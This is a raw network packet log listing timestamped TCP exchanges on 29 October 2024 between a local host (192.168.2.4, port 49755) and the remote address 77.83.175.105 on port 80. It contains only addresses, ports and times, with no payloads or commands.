Oct 29, 2024 04:17:21.780210018 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780275106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780286074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780303001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780339956 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780374050 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780570030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780585051 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780596972 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780618906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780642033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780649900 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780661106 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780672073 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780682087 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780692101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.780705929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780723095 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.780745029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896117926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896131992 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896153927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896162987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896195889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896244049 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896414042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896423101 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896466017 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896472931 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896483898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896521091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896547079 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896599054 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896606922 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896655083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896673918 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896687031 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896697044 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896707058 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896708965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896718979 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896735907 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896754026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896759033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896763086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896787882 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896814108 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896816015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896822929 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896833897 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896846056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896856070 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896856070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896884918 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896903992 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.896929026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896939039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896950006 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896960974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.896976948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897001028 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897011042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897021055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897031069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897032022 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897053003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897063017 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897073030 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897077084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897084951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897109032 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897125959 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897141933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897150993 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897175074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897183895 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897207975 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897231102 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897243977 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897255898 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897370100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897387981 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897397995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897408009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897439003 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897454977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897535086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897594929 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897598028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897609949 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897627115 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897640944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897645950 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897679090 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897695065 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897741079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897756100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897778034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897806883 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897818089 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897838116 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897849083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897860050 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897871017 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897891998 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.897906065 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897916079 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897926092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.897989035 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898009062 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898024082 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898030043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898041010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898047924 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898051023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898057938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898092985 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898092985 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898112059 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898123026 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898147106 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898170948 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898201942 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898216963 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898222923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898294926 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898304939 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898312092 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898323059 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898359060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898369074 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898381948 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898391008 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898427963 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898438931 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898446083 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898461103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898474932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898484945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898507118 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898525000 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898664951 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898684978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898699999 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898710966 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898720980 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898725033 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898745060 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898761988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.898947954 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898962021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898977995 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.898994923 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899003029 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899013042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899023056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899034023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899049997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899060965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899071932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899084091 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899092913 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899105072 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899116039 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899117947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899127960 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899161100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899161100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899161100 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899178982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899178982 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899219990 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899230957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899240971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899251938 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899254084 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899262905 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899274111 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899286985 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899295092 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899300098 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899326086 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899338007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899348974 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899358988 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899374962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899374962 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899390936 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899399042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899409056 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899419069 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899435043 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899445057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899455070 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899456024 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899466991 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899477005 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899502039 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899540901 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899552107 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899560928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899589062 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899605036 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899709940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899722099 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899761915 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899924040 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899935007 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899946928 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899970055 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899981022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.899985075 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.899991989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.900002003 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.900012970 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:21.900012970 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.900028944 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:21.900052071 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.015525103 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015548944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015562057 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015599012 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.015624046 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015635967 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.015671015 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.015674114 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015695095 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015727043 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.015769005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015816927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015826941 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015841007 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.015862942 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.015929937 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015942097 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.015973091 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016025066 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016036034 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016046047 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016057968 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016068935 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016069889 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016082048 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016098976 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016113997 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016275883 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016288996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016299009 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016309023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016320944 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016330957 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016331911 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016333103 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016341925 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016349077 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016352892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016366005 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016371965 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016375065 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016382933 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016413927 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016416073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016416073 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016424894 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016436100 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016448021 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016475916 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016494989 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016496897 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016504049 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016530037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016536951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016541958 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016551971 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016563892 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016591072 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016612053 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016633987 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016644955 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016674995 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016690969 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016700983 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016710997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016731977 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016748905 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016864061 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016875029 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016885042 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016922951 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016943932 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016954899 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016963959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.016984940 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.016999006 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017009020 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017043114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017131090 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017143011 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017153978 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017164946 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017170906 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017174959 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017189026 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017216921 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017241001 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017251015 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017261028 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017271996 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017282009 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017292023 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017298937 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017307997 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017318010 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017328024 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017338037 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017352104 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017355919 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017366886 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017369032 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017380953 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017384052 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017391920 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017406940 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017411947 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017437935 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017467022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017477036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017488956 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017498016 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017499924 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017524958 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017546892 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017550945 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017604113 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017613888 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017640114 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017663002 CET	49755	80	192.168.2.4	77.83.175.105
Oct 29, 2024 04:17:22.017678022 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017688036 CET	80	49755	77.83.175.105	192.168.2.4
Oct 29, 2024 04:17:22.017698050 CET	80	49755	77.83.175.105	192.168.2.4
